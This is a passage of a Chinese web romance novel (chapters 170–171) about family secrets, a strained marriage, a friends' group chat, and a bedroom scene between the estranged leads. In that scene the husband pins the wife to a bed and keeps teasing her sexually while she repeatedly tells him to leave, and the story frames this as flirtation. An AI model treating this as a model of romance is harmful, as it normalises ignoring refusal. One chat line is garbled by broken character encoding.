陆砚深捕捉到老爷子脸上的神色,剑眉蹙在一起,“爷爷,你是不是知道些什么?”
老爷子对上自己大孙子炯炯的眸子,意识到自己失态,缓缓收敛了神色。
“当……当然知道,他是我老战友的孙子,当初你太爷爷把我送到部队训练,认识了他爷爷。”
“那他是怎么成为孤儿,被他小姨收养的?”
老爷子神情微滞,视线微垂,不知道该如何开口。
“有什么不能说的?”陆砚深隐隐觉得老爷子似乎不想多说。
第170章 对她保留几分
老爷子看自己大孙子并不像轻易会放弃的样子,叹了口气,“他爷爷去世的早,后来很多年,我跟他们家是没有联系的。知道前段时间,他来拜访,我才知道他父母的事。他父母在他七岁那年就去世了,死于一场车祸。”
老爷子说完书房陷入沉默。
陆砚深盯着老爷子,眼神带着探究,“您就知道这些?”
老爷点头,“这些还不够吗?人家孩子不容易,我还要拉着问他父母在哪儿死的,死的时候他是不是在场?”
老爷子的不耐烦,让陆砚深觉得事情不会这么简单。
但爷爷不肯说,他又没有宋瑾修什么把柄,不好再追问。
“行,以后我会多照拂一二。”
陆砚深突然提宋瑾修,让老爷子心里忐忑,“你怎么突然问他,出什么事了吗?”
“最近碰到的次数有些多,所以了解一下。”
老爷子听他这么说,紧绷的情绪稍稍缓解,“这孩子一个人在江北打拼不容易,有机会就关照一下。”
陆砚深看了看自己爷爷,点头起身,“我去找许振清聊聊。”
提起这个孙女婿,老爷子一脸惆怅,“振清……看你姐的意识,她并不想离婚,但她心里那一关也不好过,你好好劝劝吧。”
听到陆砚深去偏院找许振清,江莹还挺震惊,没想到他竟然还能进陆家的门。
其实许振清早就来了,因为羞愧他在陆君院里没有出来。
下午要去临市,过来就是想陪陪女儿。
整件事中,他最亏欠的就是诺诺。
公司年会上的事闹那么大,按说陆家不可能让他进门。
可他不仅进来了,还能安安稳稳陪女儿,不用想也知道,是陆砚深下的命令。
这个男人,看着不近人情,却不动声色间,给了许振清该有的体面。
江莹垂下眼,手指无意识地绞着衣角,原本坚定的离婚念头,不知怎么的,突然被风吹乱了一角,心里乱糟糟的,没了底。
她原本不想见陆君,但陆砚深非要拉着她一起过去。
偏院,初春的风,带着阵阵暖意,是大地回暖的信号。
陆砚深靠在廊柱上,视线落在院子中央。
许振清手里拿着羽毛球拍,陪着诺诺在空地上跑,小女孩的笑声脆生生的,在沉静的老宅里,显得格外动听。
陆君裹着厚披肩,一个人站在拐角,眼神直勾勾地盯着院子里的许振清,眼神里有怨,有疼,更多的是拿不起放不下的挣扎。
陆砚深看着她这副模样,心里跟塞了团湿棉花似的。
父母离世后,姐姐替他守着这个院子,更是一心为他周旋。
陆砚深深吸一口气,示意江莹去陪孩子,他迈着长腿,朝着江莹走了过去。
“姐,考虑得怎么样了?”他的声音突然响起,打破了游廊里的安静。
陆君吓了一跳,猛地转头,跟做贼被抓包似的,慌忙把视线收回来,甚至都不敢看他,拢了拢披肩,转身就想往屋里躲。
“砚深,我有点累了,等会儿你带诺诺带去吃饭,我就不过去了。”
陆砚深眼疾手快,一把拉住她的胳膊,力道不算重,语气却硬得很:“你要躲到什么时候?”
陆君眼睛瞬间红了,“我的事你别管。”
看清陆君的态度,陆砚深如释重负的松了口气,或许他们还有机会。
“你去休息吧,等会儿我带诺诺去吃饭。”
江莹扫见陆君,无奈的抿了一下唇,果然事情不在谁身上,谁不知道疼。
“姐夫,我陪诺诺玩儿,砚深找你有事。”
许振清看到陆砚深,愧疚之色跃然脸上,把手里的球拍递给江莹之后,朝陆砚深走了过去。
“砚深。”
他声音压的低,带着浓浓的惭愧之意。
“我们到那边说。”
陆砚深指了指院子角落的八角亭。
两人并肩走过去,许振清掏出烟盒,递给他一根,自己也点燃一根,青白色的烟雾飘起来,遮得他脸色看不清。
“离婚的事先放一放,我不急。”许振清吸了口烟,眉头皱得紧紧的,“我找到当年给我下套的人了,可他说,他就是拿钱办事,什么都不知道。”
他顿了顿,语气沉了下来:“这事,怕是另有隐情。”
陆砚深夹着烟的手顿了一下,抬眼看他。他其实不恨许振清,当年那事,只是心疼陆君,不想让她再受委屈。
“调查的事,你自己小心点。”陆砚深弹了弹烟灰,语气严肃,“没查清楚之前,别让第三个人知道,包括杨慧。
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”
许振清夹烟的手僵在半空,脸色变了变:“杨慧她……”
“她当年也是关键人物。”陆砚深打断他,声音压低几分,“最近我在查一些事,你若是相信我,就对她保留几分。”
许振清沉默了几秒,他心里不信杨慧会害自己,但陆砚深的为人他也了解,不屑于挑拨离间这事。
他点点头,把烟头按灭在石桌上:“我知道,我有分寸。跟你姐没有结果之前,我还是她的丈夫,诺诺的爸爸,不会再跟她住在一起。”
许振清的话,倒让陆砚深有几分错愕。若是他真能做到,还算是一个有当担的男人。
当晚,老太太拉着江莹不让她走,非要让她看看她当年陪嫁的那些老物件还能不能修。
江莹看着陆爷爷满脸笑意,不忍拒绝。
老太太兴致勃勃拉着她去看,江莹第一次见到老太太的陪嫁品,难怪她不忍心丢弃,每一件的做工都可以说是匠心独运。
她边研究边承诺,说可以修复。
老太太乐的合不拢嘴,看自家孙媳妇,怎么看怎么喜欢。
两人从库房出来时,江莹没注意到自己的羊绒衫被一个钉子勾住,走出去老远才觉得自己后腰漏风。
一回头,才发现自己的后背的线已经被拆了一大片,直接到了腰部。
老太太这会儿也发现了,“哎哟,衣服勾到了。”
她上前把扯着的那根线拽断,拉着江莹往屋里走,“快回去换件衣服,放心感冒了。”
陆砚深见两人迟迟不回,过来接人。
老太太看到他,赶忙道:“砚深,你带莹莹去换件衣服,她身上的毛衣被扯坏了。”
陆砚深转头看向江莹后背,一截细腰若隐若现。
他脱下自己的外套披在江莹身上,然后带着人去了自己以前的卧室。
陆砚深的卧室原本有她的衣服,不过他们俩不常住,老太太怕落灰尘,就让阿姨收了起来,这会儿柜子里只有两套轻薄的睡衣,自然是没法穿的。
江莹看看了自己后腰,一动就漏出大片肌肤,实在不雅,所以就坐在陆砚深的房间等,陆砚深则去找阿姨拿衣服去了。
包里的手机一直在震动,江莹拿出来看了看。
是她和梁玥、孟澜的三人小群。
第171章 从我身上下去
梁玥:还是自己的小窝舒服,这些天我快被我们家皇后娘娘逼疯了。
孟澜:我也到了,这是我过得最舒服的一个春节,家里人竟然没有催婚。
梁玥:别说了,我见了一个,就说了一句还不错,我妈就天天催我去跟他约会。
孟澜:反正你打算离职,趁着空档期,谈谈看吗?
江莹:怎么突然要离职?
在江莹心里,梁玥不管多讨厌沈斯阳,但看在钱的份儿上,还是认真地对待自己的工作。之前自己劝她离职,她都不离,怎么突然要离职。
半天梁玥才回消息:干烦了,不想再伺候那根烂黄瓜。
江莹:你想好就行,反正不愁找不到工作。
江莹:对了,你为什么那么讨厌沈斯阳,其实他这个人还挺仗义的,人不坏。
梁玥:他换女朋友跟换衣服一样,我们公司的人都说他女朋友都没有超过三个月的。他不烂吗?
孟澜:又脏又烂。
梁玥:总结到位(外加五个大拇指)。
其实她心里却在想,自己被那狗东西睡过的事,千万不能让她好姐们儿知道,自己是要脸的。
江莹无奈的笑笑,摸了摸自己后腰,心想陆砚深去找衣服还是去做衣服,怎么去这么久。
梁玥:@江莹你这个假期都很陆砚深住在一起?
江莹:嗯,毕竟是江墨捅伤的。
孟澜:孤男寡女,合适吗?
江莹:又不睡在同一张床上,就是为了被迫签了协议照顾他。
梁玥:我觉得陆砚深对你好像不太一样了,谁没事会费尽心机套路即将离婚的妻子。而且还动不动就给你转钱,你现在怎么说也是千万富婆了。
梁玥虎是虎了点,但是她看得出来陆砚深对江莹似乎开窍了,舍不得了。
江莹:你会接受一个有私生子,还承诺照顾人家一辈子的丈夫吗?
梁玥:那就离,先分他几个亿再说。后面他再纠缠,看他顺眼了,就跟他复婚,然后看不顺眼,再离再分财产……循环反复,比你卖货挣钱多了。
孟澜:?9?1?9?9?9?1?9?9?9?1?9?9?9?1?9?9?9?1?9?9?9?1?9?9
孟澜:莹莹,这个生意,一本万利。
江莹:我谢谢你们!
江莹发完消息,直接关了手机,两个损友,她都要离婚了,她们还挺高兴。
挂了电话,江莹看了眼时间。
她聊天都快十分钟了,陆砚深拿个衣服还没有回来。
她站起身走到镜子跟前看身上,小半个背都露在了外面,挺滑稽。
又等了几分钟,见陆砚深还不来,她就起身从衣柜里拿了一件睡衣丢在床上,然后开始脱衣服。
原本觉得要离婚了,当他面穿性感睡衣不合适,但现在看着自己实在别扭。
她双手交叉拉住下面的衣襟,从下往上想从头上将衬衣褪下来。
衣服刚举过头顶,就听见房门转动的声音。
江莹急忙就想将衣服拉下来,结果耳钉直接勾住了线头,直接卡在里面,脱不掉也穿不上。
听着那门将要推开,江莹一着急,大声道,“先别进来!”
话音刚落,陆砚深就推开了门,随即动作一顿。
江莹站在床边,衣服卡在头顶,整个上身就穿了一件文胸,露出大片雪白的肌肤。
毛衣死死卡在脑袋上,江莹根本看不见面前的人,不过想也知道自己这副蠢样被陆砚深看见,这家伙指不定是什么嘲笑的表情呢。
她咬牙道,“你先出去!”
陆砚深没说话。
视线从她纤白的腰一点点往上,落在她饱满的胸部。
因为着急将脑袋上的衣服拽下来,江莹呼吸急促,胸口也跟着一起一伏。
陆砚深眸色深了几分。
他抿起唇,没说话,一步步走到江莹跟前。
江莹显然是察觉到了他的靠近,不由自主朝后退了退,“你过来干嘛?我让你出去!”
陆砚深将手里的衣服扔到床上,伸手去抓她的手腕,沉声道,“别动。”
江莹哪里会听他的话?
结婚时在乎他,做了那么久的好妻子。现在要离婚了,怎么可能还会听。
此时此刻,她只觉得丢人,她还曾幻想着离婚后,自己又虐渣又开挂。
孩子出生后,带着孩子在他脸前过告诉孩子们,他们爸爸早**。让他尝尝自己孩子叫别人爹的滋味。
总而言之是怎么装逼打他的脸怎么来,然而现实被打脸的是她。
脱个衣服都能卡脑袋上,还被狗东
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西看个现行。
江莹这会儿埋了自己的心都有!
“你出去!”
她边说,边躲。
几次抓不到她的手,陆砚深干脆抱住她的腰,将她丢在了床上,摁住她的手肘,将她压在身下,沉声道,“你还想不想换衣服?老实点,我帮你解!”
江莹咬牙,“你是解耳钉,还是耍流氓?从我身上下去!”
她一边说,一边伸腿去踢他。
陆砚深一条腿直接压在她的膝盖上,将她固定住,一边解她缠在羊毛衫里的耳钉,一边道:“耍流氓的是你吧?明知道我要进来给你送衣服,你脱衣服还不锁门?你说是为了勾引我,故意不锁门也不为过吧?”
江莹被他反咬一口的话,气得脸色发绿,“行,就算我是为了勾引你,故意没锁门,你觉得就你现在的状态能行吗?”
陆砚深咬唇,“你想试试?”
这人真特么不要脸!
江莹又羞又恼,咬牙道,“陆砚深,我们明天要办离婚,你现在要对我做点什么,就是违背妇女意志,我可以告你。”
陆砚深手指捏着她的耳垂,动作很轻,“我好像没有这种事上强迫过你,每次都是你自己主动的。”
江莹满脸红晕,气得,恨自己曾经不争气。
“以后谁主动谁狗!”
“嫌弃?”陆砚深看了眼身下女人绯红的胸口,嗓音低低沉沉,“我技术很差吗?”
江莹……
压在她身上问这种话,狗东西就是故意的,江莹可以肯定他这会儿就是在调戏她。
陆砚深不要脸,她得要脸,于是紧抿着唇一言不发。
陆砚深见她不回答,有些不满,追问道:“到底差不差?”
江莹气得不行,直接回怼,“我怎么知道差不差?等离婚后,我找到新男朋友,睡睡比较比较再告诉你。”
陆砚深脸黑了黑,声音危险,“你还想找别人试?”
“怎么了?离婚后我还不能有性生活了?”
江莹仿佛找到了气陆砚深的方法,眯着眼睛道,“别人找个老公,血气方刚,一晚上七**次,你呢?一次都费劲!我就是经验太少才被你骗!二婚前怎么也要多试几个,要是你这种,绝对不嫁!”
陆砚深眼角抽搐,脸色又黑又绿。